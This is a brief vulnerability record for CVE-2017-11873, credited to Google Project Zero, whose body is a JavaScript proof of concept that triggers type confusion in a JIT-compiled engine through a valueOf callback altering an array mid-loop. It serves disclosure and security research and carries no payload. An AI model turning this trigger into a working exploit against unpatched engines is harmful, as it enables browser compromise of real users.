CVE-2017-11873.md

CVE-2017-11873

• Fix: Nov 2017
• Credit: lokihardt of Google Project Zero

PoC

function opt(a, b, v) {
    if (b.length < 1)
        return;

    for (let i = 0; i < a.length; i++)
        a[i] = v;

    b[0] = 2.3023e-320;
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt(new Uint8Array(100), [1.1, 2.2, 3.3], {});
    }

    let a = new Uint8Array(100);
    let b = [1.1, 2.2, 3.3];
    opt(a, b, {
        valueOf: () => {
            b[0] = {};
            return 0;
        }
    });

    print(b[0]);
}

main();

Reference

• Microsoft
• Google Project Zero